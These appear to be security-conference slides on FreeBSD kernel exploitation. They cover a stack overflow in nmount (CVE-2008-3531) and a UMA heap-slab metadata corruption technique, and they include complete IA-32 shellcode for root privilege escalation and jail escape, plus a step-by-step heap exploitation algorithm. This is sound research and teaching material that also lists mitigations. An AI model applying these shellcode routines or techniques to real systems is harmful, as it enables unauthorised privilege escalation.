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Targeting the kernel

● It is just another attack vector
● More complicated to debug and develop reliable exploits 

for

● Userland memory corruption protections have made most 
of the old generic exploitation approaches obsolete
● Application-specific approaches reign supreme in 

userland

● It is very interesting and fun
● Somehow I don't find client-side exploitation that 

interesting to spend time on



  

Targeting FreeBSD

● Widely accepted as the most reliable operating system
● Netcraft data reveal FreeBSD as the choice of the top 

ranked reliable hosting providers

● A lot of work lately on Windows and Linux kernel exploitation 
techniques
● FreeBSD, and BSD based systems in general, have not 

received the same attention

● FreeBSD kernel heap vulnerabilities have not been researched 
in any way

● Enjoyable code reading experience



  

Background



  

Related work (1)

● “Exploiting kernel buffer overflows FreeBSD style” (2000)
● Focused on versions 4.0 to 4.1.1
● Kernel stack overflow vulnerability in the jail(2) system 

call
● Manifested when a jail was setup with an overly long 

hostname, and a program's status was read through 
procfs

● “Smashing the kernel stack for fun and profit” (2002)
● OpenBSD 2.x-3.x (IA-32)
● Focused on kernel stack exploitation
● Main contribution: “sidt” kernel continuation technique



  

Related work (2)

● “Exploiting kmalloc overflows to 0wn j00” (2005)
● Linux-specific kernel heap smashing exploitation
● Corruption of adjacent items on the heap/slab
● Main contribution: Detailed privilege escalation exploit for a 

Linux kernel heap vulnerability (CAN-2004-0424) 

● “Open source kernel auditing and exploitation” (2003)
● Found a huge amount of bugs
● Linux, {Free, Net, Open}BSD kernel stack smashing 

methodologies
● Main contribution: “iret” return to userland technique



  

Related work (3)

● “Attacking the core: kernel exploiting notes” (2007)
● Linux (IA-32, amd64), Solaris (UltraSPARC)
● Main contribution: Linux (IA-32) kernel heap (slab memory 

allocator) vulnerabilities

● “Kernel wars” (2007)
● Kernel exploitation on Windows, {Free, Net, Open}BSD (IA-32)
● Focused on stack and mbuf overflows
● Many contributions: multi-stage kernel shellcode, privilege 

escalation and kernel continuation techniques



  

Related work (4)

● “FreeBSD kernel level vulnerabilities” (2009)
● Explored kernel race conditions that lead to NULL pointer dereferences

● Presented the details of three distinct bugs (6.1, 6.4, 7.2)

● A great example of the value of manual source code audits

● “Bug classes in BSD, OS X and Solaris kernels” (2009)
● Basically a modern kernel source code auditing handbook

● Released a very interesting exploit for a signedness vulnerability in the 
FreeBSD kernel (CVE-2009-1041)

● Analyzed many kernel bug classes

● “Exploiting UMA” (2009)
● Initial exploration of FreeBSD UMA exploitation



  

Kernel exploitation goals (1)

● Arbitrary code execution
● NULL pointer dereferences

● FreeBSD-SA-08:13.protosw (CVE-2008-5736), public 
exploit from bsdcitizen.org

● FreeBSD-SA-09:14.devfs, kqueue(2) on half opened FDs 
from devfs, public exploit from frasunek.com

● Stack overflows
● FreeBSD-SA-08:08.nmount (CVE-2008-3531), public 

exploit from census-labs.com

● Heap – kernel memory allocator – overflows
● No known exploits / exploitation techniques



  

Kernel exploitation goals (2)

● Denial of service / kernel panic
● Any non-exploitable bug from the previous category
● FreeBSD-EN-09:01.kenv panic when dumping kernel 

environment

● Memory disclosure
● FreeBSD-SA-06:06.kmem (CVE-2006-0379, CVE-2006-

0380)



  

Kernel stack overflows



  

Kernel stack overflows (1)

● Every thread (unit of execution of a process) has its own kernel  
  stack

● When a process uses kernel services (e.g. int $0x80) the ESP  
  register points to the corresponding thread's kernel stack

● Kernel stacks have a fixed size of 2 pages (on IA-32) and they    
  don't grow dynamically

● Thousands of threads; we don't want to run out of memory

● Their main purpose is to always remain resident in memory in    
  order to service the page faults that occur when the                
  corresponding thread tries to run 



  

Kernel stack overflows (2)

● Overflow of a local variable and corruption of

a) the function's saved return address

b) the function's saved frame pointer

c) a local variable (e.g. function pointer)

● Overflow and corruption of the kernel stack itself by causing 
recursion



  

FreeBSD-SA-08:08.nmount (1)

● Affects FreeBSD version 7.0-RELEASE (CVE-2008-3531)

● Example stack overflow exploit development for the FreeBSD 
kernel

● The bug is in function vfs_filteropt() at 
src/sys/kern/vfs_mount.c line 1833:
● sprintf(errmsg, “mount option <%s> is unknown”, p);

● errmsg is a locally declared buffer (char errmsg[255];)
● p contains the mount option's name

● Conceptually a mount option is a tuple of the form 
(name, value)



  

FreeBSD-SA-08:08.nmount (2)

● The vulnerable sprintf() call can be reached when p's (i.e. 
the mount option's name) corresponding value is invalid 
(but not NULL)
● For example the tuple (“AAAA”, “BBBB”) 
● Both the name (p) and the value are user controlled

● vfs_filteropt() can be reached from userland via 
nmount(2)
● sysctl(9) variable vfs.usermount must be 1



  

Execution control

● Many possible execution paths
● nmount() → vfs_donmount() → msdosfs_mount() → 

vfs_filteropt()

● The format string parameter does not allow direct control of the        
  value that overwrites the saved return address of vfs_filteropt()

● Indirect control is enough to achieve arbitrary code execution
● When p = 248 * 'A', the saved return address of vfs_filteropt() is 

overwritten with 0x6e776f (the “nwo” of “unknown”)

● With a nod to NULL pointer dereference exploitation techniques, we  
  mmap() memory at the page boundary 0x6e7000

● And place our kernel shellcode 0x76f bytes after that



  

Kernel shellcode (1)

● Our kernel shellcode should
● Locate the credentials of the user that triggers the bug 
and escalate his privileges

● Ensure kernel continuation, i.e. we want to keep the 
system running and stable

● Can be implemented entirely in C since the kernel can         
  dereference userland



  

Kernel shellcode (2)

● User credentials specifying the process owner's privileges are     
  stored in a structure of type ucred

● A pointer to the ucred structure exists in a structure of type      
  proc

● The proc structure can be located in a number of ways
● The sysctl(9) kern.proc.pid kernel interface and the 

kinfo_proc structure
● The allproc symbol that the FreeBSD kernel exports
● The curthread pointer from the pcpu structure (segment fs in 

kernel context points to it)

http://fxr.watson.org/fxr/source/sys/ucred.h?v=FREEBSD70#L45
http://fxr.watson.org/fxr/source/sys/proc.h?v=FREEBSD70#L484
http://fxr.watson.org/fxr/source/sys/pcpu.h?v=FREEBSD70#L57


  

Kernel shellcode (3)

● We use method the curthread method
movl  %fs:0, %eax              # get curthread

movl  0x4(%eax), %eax      # get proc pointer   
                                          # from curthread

movl  0x30(%eax), %eax    # get ucred from proc

xorl   %ecx, %ecx            # ecx = 0

movl  %ecx, 0x4(%eax)      # ucred.uid = 0

movl  %ecx, 0x8(%eax)      # ucred.ruid = 0

● Set struct prison pointer to NULL to escape jail(2)

movl  %ecx, 0x64(%eax)    # jail(2) break!



  

Kernel continuation (1)

● The next step is to ensure kernel continuation
● Depends on the situation: iret technique leaves kernel 

sync objects locked
● Reminder: nmount() → vfs_donmount() → 

msdosfs_mount() → vfs_filteropt()

● Cannot return to msdosfs_mount(); its saved registers 
have been corrupted when we smashed vfs_filteropt()'s 
stack frame

● We can bypass msdosfs_mount() and return to 
vfs_donmount() whose saved register values are 
uncorrupted (in msdosfs_mount()'s stack frame)



  

Kernel continuation (2)

vfs_donmount()

{

  msdosfs_mount();

  // this function's saved stack values are uncorrupted

}

msdosfs_mount()

{

  vfs_filteropt();

  ...

  addl    $0xe8, %esp // stack cleanup, saved registers' restoration

  popl    %ebx

  popl    %esi

  popl    %edi

  popl    %ebp

  ret

}



  

Complete shellcode

movl  %fs:0, %eax       # get curthread

movl  0x4(%eax), %eax   # get proc pointer from curthread

movl  0x30(%eax), %eax  # get ucred from proc

xorl   %ecx, %ecx        # ecx = 0

movl  %ecx, 0x4(%eax)   # ucred.uid = 0

movl  %ecx, 0x8(%eax)   # ucred.ruid = 0

# escape from jail(2), install backdoor, etc.

# return to the pre-previous function, i.e. vfs_donmount()

addl   $0xe8, %esp

popl   %ebx

popl   %esi

popl   %edi

popl   %ebp

ret



  

Kernel heap overflows



  

Kernel heap overflows (1)

● 8.0 has introduced stack smashing protection for the 
kernel (SSP/ProPolice)
● See sys/kern/stack_protector.c

● Increased interest in exploring the security of the FreeBSD 
kernel heap implementation
● Has not been researched in any way in the past

● Tested on 7.0, 7.1, 7.2, 7.3 and 8.0
● All code excerpts taken from 8.0



  

Kernel heap overflows (2)

● No prior work on exploiting kernel slab overflows on FreeBSD
● Work on Linux and Solaris kernels by twiz and sgrakkyu

● They have identified that slab overflows may lead to corruption of
● Adjacent items on a slab

● Page frames adjacent to the last item of a slab

● Slab control structures (i.e. slab metadata)

● twiz and sgrakkyu explored the first approach

● On FreeBSD today I will use the third one (metadata corruption)
● Other approaches also viable, e.g. arbitrary free(9)s



  

Universal Memory Allocator

● UMA, or universal memory allocator, or zone allocator
● Developed by Jeff Roberson

● Funded by Nokia for a proprietary stack

● Donated to FreeBSD

● Functions like a traditional slab allocator
● Large areas, or slabs, of memory are initially allocated

● Items of a particular type and size are then pre-allocated on them per slab

● malloc(9) returns a pre-allocated item from a slab that was marked as free

● In arbitrary sized requests the size is adjusted for alignment to find a slab

● Advantages:
● No fragmentation of the kernel's memory

● Increased performance



  

Kernel memory

● On FreeBSD the vmstat(8) utility provides information on 
the kernel's zones
● These zones hold the kernel's internal data structures

● Information on the zone's characteristics, including
● name,
● size of the type of item allocated on them,
● number of items currently in use,
● number of free items per zone,
● etc.



  

vmstat(8)

$ vmstat ­z

ITEM                SIZE     LIMIT      USED      FREE  REQUESTS  FAILURES

UMA Kegs:           128,        0,       94,       26,       94,        0

UMA Zones:          480,        0,       94,        2,       94,        0

UMA Slabs:           64,        0,      353,        1,      712,        0

UMA RCntSlabs:      104,        0,       69,        5,       69,        0

. . .

16:                  16,        0,     2250,      389,    15191,        0

32:                  32,        0,     1163,       80,    10077,        0

64:                  64,        0,     3244,       60,     5149,        0

128:                128,        0,     1493,      187,     5820,        0

256:                256,        0,      308,        7,     3591,        0

512:                512,        0,       43,       13,      827,        0

1024:              1024,        0,       47,       81,     1405,        0

2048:              2048,        0,      314,        6,      491,        0

. . .

FFS1 dinode:        128,        0,        0,        0,        0,        0

FFS2 dinode:        256,        0,      429,       21,      451,        0



  

UMA structures (1)

● UMA uses a number of different structures to manage kernel virtual 
memory
● sys/vm/uma_int.h

● uma_zone
● Created to allocate a specific type of kernel object

● Allows for custom ctors/dtors for each allocated item

● Holds statistical data

● Points to two lists of uma_bucket structures

● uma_bucket
● uz_free_bucket list: holds buckets to be used for deallocations of 

items

● uz_full_bucket list: for allocations of items

http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L298
http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L166


  

UMA structures (2)

● uma_cache
● Each zone also has an array of per-CPU caches that are logically 

on top of the zone's buckets

● uma_keg
● Used for back-end allocation

● Describes the format of the underlying page(s) on which the 
items of the corresponding zone are stored

● Kegs and zones have a one-to-one association (not always true)

● When a zone is created by the kernel, the corresponding keg is 
created as well

● A zone's keg holds three lists of slabs: uk_full_slab, 
uk_free_slab, uk_part_slab

http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L175
http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L190


  

UMA structures (3)

● uma_slab
● UMA_SLAB_SIZE == PAGE_SIZE == 4096 bytes (default for 

IA-32)
● Each uma_slab contains a uma_slab_head structure

● uma_slab_head
● Contains the metadata that are necessary for the 

management of the slab/page
● Pointer to the keg the slab belongs to
● Pointer to the first item
● Number of items free on the slab
● Index of the first free item

http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L243
http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD8#L229


  

UMA architecture

uma_zone uma_keg

uma_keguma_keguma_keguma_slab

uma_keguma_keguma_keguma_slab

uma_keguma_keguma_keguma_slab

uma_keguma_keguma_keguma_bucket

uma_keguma_keguma_keguma_bucket

uz_full_bucket uz_free_bucket

uk_part_slab uk_free_slab uk_full_slab

CPU 0 cache

  uma_cache

         ...
uc_freebucket
uc_allocbucket

   uma_bucket

          ...

   
uma_slab

uma_slab_head

struct {
 u_int8_t us_item;
} us_freelist[];

void *ub_bucket[];



  

UMA architecture summary

● Each zone (uma_zone) holds buckets (uma_bucket) of items

● The items are allocated on the zone's slabs (uma_slab)

● Each zone is associated with a keg (uma_keg)

● The keg holds the corresponding zone's slabs

● Each slab is of the same size as a page frame (usually 4096 
bytes)

● Each slab has a slab header structure (uma_slab_head) which 
contains management metadata



  

Slabs (1)

● The uma_slab structure may or may not be embedded in the slab 
itself
● Depending on the size of the items a slab has been divided into 

for

● The slabs of the anonymous “512” zone hold 8 items of 512 bytes 
(8*512 = 4096)
● The uma_slab structures are stored offpage on a UMA zone 

created for this purpose

● The slabs of the “256” zone hold 15 items (15*256 = 3840)
● The uma_slab structures of the “256” zone are stored in the 

slabs themselves

● After the memory reserved for the actual items



  

Slabs (2)

uma_slab
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UMA behavior (1)

● Using vmstat(8) and a way to consume items of the slabs of the “256” 
zone we can observe UMA's behavior
● Not a substitute of actually reading UMA's code (clearly written 

although not very well documented)

● Item consumption via system calls, custom KLD module, or other 
way

● How many free items on the “256” zone?
● $ vmstat -z | grep 256:

256: 256, 0, 310 (used), 35 (free), 9823, 0

● After we have consumed 10 items:
● $ vmstat -z | grep 256:

256: 256, 0, 320 (used), 25 (free), 9883, 0



  

UMA behavior (2)

● UMA initially tries to satisfy all free items' requests on the 
slabs of the partially allocated list (uk_part_slab of 
uma_keg)
● In order to reduce fragmentation
● Leads to unpredictable addresses / locations of the 

returned items

● However we need to be able to somewhat predict the 
locations of the items we request via malloc(9)



  

UMA behaviour (3)

● Consuming all free items of the “256” zone and continuing to 
consume items of size 256 bytes we make the following 
observations:
● After all slabs of the uk_part_slab list are exhausted new 

slabs are used for item allocations
● The addresses / locations of these items become 

predictable: higher to lower addresses
● When an entire new slab is consumed (by allocating 

ITEMS_PER_SLAB items, e.g. 15 for “256” zone) one of the 
allocated items is always the one at the edge of the slab

● Now we know how we can reach the metadata of non-offpage 
slabs, i.e. their uma_slab structures



  

Metadata corruption

● The uma_slab structure of a non-offpage slab is stored on 
the slab itself at a higher memory than the items

● The last item of such a slab can be overflowed and corrupt 
the uma_slab structure

● Different alternatives for diverting the kernel's execution 
flow
● uz_dtor hijacking
● Executed during the deallocation of the edge item from 

the underlying slab



  

uma_slab_head

229 struct uma_slab_head {

230         uma_keg_t       us_keg;                 /* Keg we live in */

231         union {

232                 LIST_ENTRY(uma_slab)    _us_link;       /* slabs in zone */

233                 unsigned long   _us_size;       /* Size of allocation */

234         } us_type;

235         SLIST_ENTRY(uma_slab)   us_hlink;  /* Link for hash table */

236         u_int8_t        *us_data;                  /* First item */

237         u_int8_t        us_flags;                    /* Page flags see uma.h */

238         u_int8_t        us_freecount;   /* How many are free? */

239         u_int8_t        us_firstfree;     /* First free item index */

240 };



  

uma_keg

190 struct uma_keg {

191   LIST_ENTRY(uma_keg)  uk_link;      /* List of all kegs */

192 

193   struct mtx          uk_lock;              /* Lock for the keg */

194   struct uma_hash uk_hash;

195 

196   char uk_name;                                     /* Name of creating zone. *

197   LIST_HEAD(,uma_zone)  uk_zones;          /* Keg's zones */

198   LIST_HEAD(,uma_slab)   uk_part_slab;    /* partial slabs */

199   LIST_HEAD(,uma_slab)   uk_free_slab;     /* empty slab list */

200   LIST_HEAD(,uma_slab)   uk_full_slab;      /* full slabs */

. . .

221   u_int16_t       uk_ipers;             /* Items per slab */

222   u_int32_t       uk_flags;             /* Internal flags */

223 };



  

uma_zone

298 struct uma_zone {

299  char           *uz_name;     /* Text name of the zone */

300  struct mtx  *uz_lock;        /* Lock for the zone (keg's lock) */

301  

302  LIST_ENTRY(uma_zone)   uz_link;            /* List of all zones in keg */

303  LIST_HEAD(,uma_bucket) uz_full_bucket;  /* full buckets */

304  LIST_HEAD(,uma_bucket) uz_free_bucket; /* Buckets for frees */

305 

306  LIST_HEAD(,uma_klink)    uz_kegs;       /* List of kegs. */

307  struct uma_klink             uz_klink;       /* Klink for first keg. */

. . .

310  uma_ctor    uz_ctor;            /* Constructor for each allocation */

311  uma_dtor    uz_dtor;            /* Destructor */

. . .



  

Code execution

● When free(9) is called on a slab's item
● The slab that the item belongs to is found from the item's 

address
● slab = vtoslab((vm_offset_t)addr & (~UMA_SLAB_MASK));

● From the slab the keg is found and then the zone
● uma_zfree_arg(LIST_FIRST(&slab->us_keg->uk_zones), addr, slab);

● The custom item destructor of the zone is called if not NULL
● if (zone->uz_dtor)

            zone->uz_dtor(item, keg->uk_size, udata);

http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD8#L441
http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD8#L468
http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD8#L2522
http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD8#L2522


  

Exploitation algorithm (1)

(1) Using vmstat(8) find the UMA zone to attack and parse    
  the number of initial free items on its slabs

(2) Consume all free items in the target zone

(3) Allocate ITEMS_PER_SLAB items on the target zone
● On all of these trigger the overflow
● The last item on a slab will corrupt this slab's 

uma_slab_head



  

Exploitation algorithm (2)

(4) Overwrite the address of us_keg with a userland address

(5) Construct a fake us_keg structure at that address with a  
  pointer to a fake uma_zone structure
● Point the uz_dtor function pointer to a userland address 

with kernel shellcode

(6) Deallocate the last ITEMS_PER_SLAB items
● free(9) → uma_zfree_arg() → uz_dtor



  

uz_dtor hijacking

. . .

uma_slab_head {
us_keg

};

addr

free(addr);

A slab of the 
“256” zone

UMA managed kernel memory Userland memory

fake uma_keg {
uk_zones

};

fake uma_zone {
uz_dtor

};

Kernel
shellcode

System call

1.

2.

3. Kernel can
dereference
userland 4.

5.

6. Restore 
us_keg pointer



  

Kernel continuation

● After the execution of the kernel shellcode, control is 
returned to the kernel

● Eventually the kernel will try to free an item from the zone 
that uses the slab whose uma_slab_head structure has 
been corrupted

● The memory regions used to store the fake structures 
have been unmapped when the userland process (i.e. the 
exploit) has completed

● The problem: the kernel crashes when it tries to 
dereference the address of the fake uma_keg structure



  

Restoring us_keg

● The slab with the corrupted uma_slab_head is just one of the 
slabs of the zone (see slide #33)

● The other slabs have an intact uma_slab_head structure and 
an uncorrupted us_keg pointer that contains the real address 
of the zone's keg

● After the kernel shellcode has performed privilege escalation
● It needs to copy the us_keg value from the previous or 

next (or any other) slab of the zone to the corrupted 
uma_slab_head

● The address of the corrupted (i.e. currently used) slab can 
be found in the ECX register when uz_dtor is called (in 
uma_zfree_arg())



  

Complete shellcode for FreeBSD 8.0

movl    %fs:0, %eax                 # get curthread

movl    0x4(%eax), %eax          # get proc pointer from curthread

movl    0x24(%eax), %eax        # get ucred from proc

xorl     %edx, %edx                  # edx = 0

movl    %edx, 0x4(%eax)          # patch uid

movl    %edx, 0x8(%eax)          # and ruid

# restore us_keg for the overwritten slab

movl    -0x1000(%ecx), %eax   # first we check the previous slab

cmpl    $0x0, %eax

je        prev

jmp     end

prev:

movl    0x1000(%ecx), %eax    # and then the next slab

end:

movl    %eax, (%ecx)

ret



  

Concluding remarks



  

Mitigations (1)

● Stack smashing protection (SSP/ProPolice) introduced in 
8.0
● Random canary
● Enabled by default

● sysctl(8) security.bsd.map_at_zero introduced in 8.0
● Protection against address 0 (NULL) page mappings
● Enabled by default



  

Mitigations (2)

● RedZone introduced in 7.0
● Places a static canary value (0x42) of 16 bytes above 

and below each buffer allocated on the heap
● Disabled by default

● MemGuard introduced in 6.0
● Use-after-free detection
● Not compatible with UMA
● Disabled by default



  

Conclusions

● FreeBSD kernel stack overflows
● Contributed to the existing body of knowledge
● Detailed exploit development process

● FreeBSD kernel heap overflows
● The security of the FreeBSD kernel memory allocator has not 

been studied – until now
● Explored in detail how kernel heap overflows can be exploited 

and lead to arbitrary code execution
● Developed a methodology for reliable exploitation
● Reminder: UMA development was funded by Nokia

● Which proprietary products is it used in?



  

Questions?
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